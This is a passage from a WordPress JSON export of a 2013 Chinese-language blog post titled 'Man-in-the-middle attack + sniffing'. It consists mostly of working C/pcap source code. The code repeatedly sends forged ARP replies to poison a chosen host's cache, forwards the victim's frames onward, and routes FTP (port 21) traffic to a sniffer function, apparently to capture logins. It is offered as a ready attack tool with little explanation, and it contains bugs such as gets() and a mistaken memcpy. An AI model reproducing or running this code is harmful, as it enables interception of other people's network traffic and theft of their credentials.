*DLCHeader=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; IP *IPHeader=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; TCP *TCPHeader=NULL;<\/p>\n<p>&nbsp;&nbsp;&nbsp; DLCHeader=(DLCHEADER *)Packet;<br \/>\n&nbsp;&nbsp;&nbsp; IPHeader=(IP *)(Packet+sizeof(DLCHEADER));<br \/>\n&nbsp;&nbsp;&nbsp; TCPHeader=(TCP *)(Packet+sizeof(DLCHEADER)+sizeof(IP));<\/p>\n<p>&nbsp;&nbsp;&nbsp; if(!strncmp(DLCHeader-&gt;SrcMAC,PI.srcMAC,6) &amp;&amp; !strncmp(DLCHeader-&gt;DesMAC,PI.myMAC,6))<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(DLCHeader-&gt;DesMAC,PI.desMAC,6);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SendPacket(PI.hpcap,Packet,PI.pkthdr.caplen);&nbsp;&nbsp;&nbsp; \/\/\u8f6c\u53d1\u6570\u636e\u5305<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; \/\/\u68c0\u6d4b\u5e27\u4e2d\u6570\u636e\u534f\u8bae\u7c7b\u578b<br \/>\n&nbsp;&nbsp;&nbsp; if(ntohs(DLCHeader-&gt;EtherType)==0x0800 &amp;&amp; IPHeader-&gt;ip_p==0x06)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(ntohs(TCPHeader-&gt;dport)==21) FTP_Sniffer(IPHeader,PI.pkthdr.caplen-sizeof(DLCHEADER));&nbsp;&nbsp; \/\/\u6355\u83b7\u5230FTP\u6570\u636e\u5305<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; free(Packet);<\/p>\n<p>&nbsp;&nbsp;&nbsp; return 0;<br \/>\n}<\/p>\n<p>DWORD WINAPI Ether_Sniffer(PVOID Parameter)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; PacketInfo PI=*(PacketInfo *)Parameter;<br \/>\n&nbsp;&nbsp;&nbsp; pcap_t *hpcap=PI.hpcap;<br \/>\n&nbsp;&nbsp;&nbsp; struct pcap_pkthdr *pkthdr=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; char *recvBuff;<br \/>\n&nbsp;&nbsp;&nbsp; HANDLE hFilterThread;<\/p>\n<p>&nbsp;&nbsp;&nbsp; while(TRUE)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(pcap_next_ex(hpcap,&amp;pkthdr,&amp;recvBuff)&gt;0)<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PI.Packet=&amp;recvBuff;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PI.pkthdr=*pkthdr;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle((hFilterThread=CreateThread(NULL,0,filter,(PVOID)&amp;PI,0,NULL)));<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while(recvBuff);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; return 0;<br \/>\n}<\/p>\n<p>BOOL SendPacket(pcap_t *hpcap,char *Packet,int packetsize)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;\u6570\u636e\u5305\u53d1\u9001\u5931\u8d25\u3002\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ERROR;<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; return TRUE;<br \/>\n}<\/p>\n<p>\npcap_t *OpenAdapter(char *devName)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; pcap_t *hpcap=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; char errbuf[PCAP_ERRBUF_SIZE];<\/p>\n<p>&nbsp;&nbsp;&nbsp; if((hpcap=pcap_open_live(devName,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/ \u8bbe\u5907\u540d<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 65536,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/ \u6307\u5b9a\u8981\u6355\u6349\u7684\u6570\u636e\u5305\u7684\u90e8\u5206,65536 \u4fdd\u8bc1\u6240\u6709\u5728\u94fe\u8def\u5c42\u4e0a\u7684\u5305\u90fd\u80fd\u591f\u88ab\u6293\u5230<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1,&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/ \u6df7\u6742\u6a21\u5f0f<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1000,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; \/\/ \u8bfb\u6570\u636e\u7684\u8d85\u65f6\u65f6\u95f4<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; errbuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/\/ \u9519\u8bef\u7f13\u51b2\u533a<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ))==NULL)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;\u6253\u5f00\u7f51\u5361\u51fa\u9519\u3002\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL;<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; return hpcap;<br \/>\n}<br \/>\n\/\/A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B<br \/>\nvoid Input(char *A_MAC,char *A_IP,char *B_MAC,char *B_IP)<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; printf(&#8220;A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp; printf(&#8220;\u8bf7\u8f93\u5165A\u4e3b\u673a\u7684MAC:&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp; fflush(stdin);<br \/>\n&nbsp;&nbsp;&nbsp; if(scanf(&#8220;%x-%x-%x-%x-%x-%x&#8221;,&amp;A_MAC[0],&amp;A_MAC[1],&amp;A_MAC[2],&amp;A_MAC[3],&amp;A_MAC[4],&amp;A_MAC[5])!=6) exit(-1);<br \/>\n&nbsp;&nbsp;&nbsp; printf(&#8220;\u8bf7\u8f93\u5165A\u4e3b\u673a\u7684IP:&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp; fflush(stdin);<br \/>\n&nbsp;&nbsp;&nbsp; gets(A_IP);<\/p>\n<p>&nbsp;&nbsp;&nbsp; printf(&#8220;\u8bf7\u8f93\u5165B\u4e3b\u673a\u7684MAC:&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp; fflush(stdin);<br \/>\n&nbsp;&nbsp;&nbsp; if(scanf(&#8220;%x-%x-%x-%x-%x-%x&#8221;,&amp;B_MAC[0],&amp;B_MAC[1],&amp;B_MAC[2],&amp;B_MAC[3],&amp;B_MAC[4],&amp;B_MAC[5])!=6) exit(-1);<br \/>\n&nbsp;&nbsp;&nbsp; printf(&#8220;\u8bf7\u8f93\u5165B\u4e3b\u673a\u7684IP:&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp; fflush(stdin);<br \/>\n&nbsp;&nbsp;&nbsp; gets(B_IP);<br \/>\n}<\/p>\n<p>int main(int argc,char *argv[])<br \/>\n{<br \/>\n&nbsp;&nbsp;&nbsp; char devName[100];<br \/>\n&nbsp;&nbsp;&nbsp; char myIPAddress[15],myMAC[6];<br \/>\n&nbsp;&nbsp;&nbsp; char ARPPacket[42];<br \/>\n&nbsp;&nbsp;&nbsp; char A_IP[15]= {0},A_MAC[6]= {0};<br \/>\n&nbsp;&nbsp;&nbsp; char B_IP[15]= {0},B_MAC[6]= {0};<br \/>\n&nbsp;&nbsp;&nbsp; pcap_t *hpcap=NULL;<br \/>\n&nbsp;&nbsp;&nbsp; HANDLE hSnifferThread;<br \/>\n&nbsp;&nbsp;&nbsp; PacketInfo PI;<br \/>\n&nbsp;&nbsp;&nbsp; unsigned long A_addr,B_addr;<\/p>\n<p>&nbsp;&nbsp;&nbsp; if(ChooseDev(devName,sizeof(devName),myIPAddress)!=TRUE)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;\u83b7\u53d6\u7f51\u5361\u5931\u8d25\u3002\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getch();<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; \/\/\u83b7\u53d6\u672c\u673a\u7f51\u5361MAC<br \/>\n&nbsp;&nbsp;&nbsp; if(GetAdapterMAC(myIPAddress,myMAC)!=TRUE)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;\u83b7\u53d6\u7f51\u5361MAC\u5931\u8d25\u3002\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getch();<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br \/>\n&nbsp;&nbsp;&nbsp; }<br \/>\n&nbsp;&nbsp;&nbsp; \/\/\u6253\u5f00\u7f51\u5361<br \/>\n&nbsp;&nbsp;&nbsp; if((hpcap=OpenAdapter(devName))==NULL)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#8220;\u7f51\u5361\u6253\u5f00\u51fa\u9519\u3002\\n&#8221;);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getch();<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; \/\/\u8f93\u5165\u6b3a\u9a97\u4e3b\u673a\u4fe1\u606f&nbsp;&nbsp;&nbsp; A&gt;&gt;&gt;&gt;&gt;\u5355\u5411\u6b3a\u9a97&gt;&gt;&gt;&gt;&gt;&gt;B<br \/>\n&nbsp;&nbsp;&nbsp; Input(A_MAC,A_IP,B_MAC,B_IP);<br \/>\n&nbsp;&nbsp;&nbsp; A_addr=inet_addr(A_IP);<br \/>\n&nbsp;&nbsp;&nbsp; B_addr=inet_addr(B_IP);<br \/>\n&nbsp;&nbsp;&nbsp; \/\/\u4ee5ARP\u5e94\u7b54\u7684\u65b9\u5f0f\u6b3a\u9a97\u4e3b\u673aA<br \/>\n&nbsp;&nbsp;&nbsp; Fill_ARPPACKET(ARPPacket,sizeof(ARPPacket),A_MAC,(char *)&amp;A_addr,myMAC,(char *)&amp;B_addr,2);<\/p>\n<p>&nbsp;&nbsp;&nbsp; \/\/\u586b\u5145\u4f20\u9012\u53c2\u6570<br \/>\n&nbsp;&nbsp;&nbsp; PI.hpcap=hpcap;<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(PI.srcMAC,A_IP,6);<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(PI.desIP,(char *)&amp;B_addr,4);<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(PI.desMAC,B_MAC,6);<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(PI.srcIP,(char *)&amp;A_addr,4);<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(PI.myIP,myIPAddress,4);<br \/>\n&nbsp;&nbsp;&nbsp; memcpy(PI.myMAC,myMAC,6);<br \/>\n&nbsp;&nbsp;&nbsp; \/\/\u5f00\u542f\u55c5\u63a2\u7ebf\u7a0b<br \/>\n&nbsp;&nbsp;&nbsp; CloseHandle((hSnifferThread=CreateThread(NULL,0,Ether_Sniffer,(PVOID)&amp;PI,0,NULL)));<\/p>\n<p>&nbsp;&nbsp;&nbsp; while(1)<br \/>\n&nbsp;&nbsp;&nbsp; {<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(1000);<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SendPacket(hpcap,ARPPacket,sizeof(ARPPacket));&nbsp;&nbsp; \/\/\u53d1\u9001ARP\u6b3a\u9a97\u5305<br \/>\n&nbsp;&nbsp;&nbsp; }<\/p>\n<p>&nbsp;&nbsp;&nbsp; return 0;<br \/>\n}<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;windows.h&gt;<br \/>\n#include &lt;pcap.h&gt;<br \/>\n#include &lt;conio.h&gt;<br \/>\n#include &lt;winsock2.h&gt;<br \/>\n#include &lt;iphlpa&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[324],"tags":[],"class_list":["post-46","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u4e2d\u95f4\u4eba\u653b\u51fb+\u55c5\u63a2 - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=46\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u4e2d\u95f4\u4eba\u653b\u51fb+\u55c5\u63a2 - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;windows.h&gt; #include &lt;pcap.h&gt; #include &lt;conio.h&gt; #include &lt;winsock2.h&gt; #include &lt;iphlpa...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=46\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2013-10-24T11:54:28+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"17 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=46#webpage\",\"url\":\"http:\/\/weizn.net\/?p=46\",\"name\":\"\\u4e2d\\u95f4\\u4eba\\u653b\\u51fb+\\u55c5\\u63a2 - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"datePublished\":\"2013-10-24T11:54:28+00:00\",\"dateModified\":\"2013-10-24T11:54:28+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=46#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=46\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=46#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\\u4e2d\\u95f4\\u4eba\\u653b\\u51fb+\\u55c5\\u63a2\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=46#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=46#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"\\u4e2d\\u95f4\\u4eba\\u653b\\u51fb+\\u55c5\\u63a2\",\"datePublished\":\"2013-10-24T11:54:28+00:00\",\"dateModified\":\"2013-10-24T11:54:28+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=46#webpage\"},\"wordCount\":3304,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"articleSection\":[\"C\/C++\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=46#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u4e2d\u95f4\u4eba\u653b\u51fb+\u55c5\u63a2 - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=46","og_locale":"zh_CN","og_type":"article","og_title":"\u4e2d\u95f4\u4eba\u653b\u51fb+\u55c5\u63a2 - Wayne&#039;s Blog","og_description":"#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;windows.h&gt; #include &lt;pcap.h&gt; #include &lt;conio.h&gt; #include &lt;winsock2.h&gt; #include &lt;iphlpa...","og_url":"http:\/\/weizn.net\/?p=46","og_site_name":"Wayne&#039;s Blog","article_published_time":"2013-10-24T11:54:28+00:00","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"17 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=46#webpage","url":"http:\/\/weizn.net\/?p=46","name":"\u4e2d\u95f4\u4eba\u653b\u51fb+\u55c5\u63a2 - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"datePublished":"2013-10-24T11:54:28+00:00","dateModified":"2013-10-24T11:54:28+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=46#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=46"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=46#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"\u4e2d\u95f4\u4eba\u653b\u51fb+\u55c5\u63a2"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=46#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=46#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"\u4e2d\u95f4\u4eba\u653b\u51fb+\u55c5\u63a2","datePublished":"2013-10-24T11:54:28+00:00","dateModified":"2013-10-24T11:54:28+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=46#webpage"},"wordCount":3304,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"articleSection":["C\/C++"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=46#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/46","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=46"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/46\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=46"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=46"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=46"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}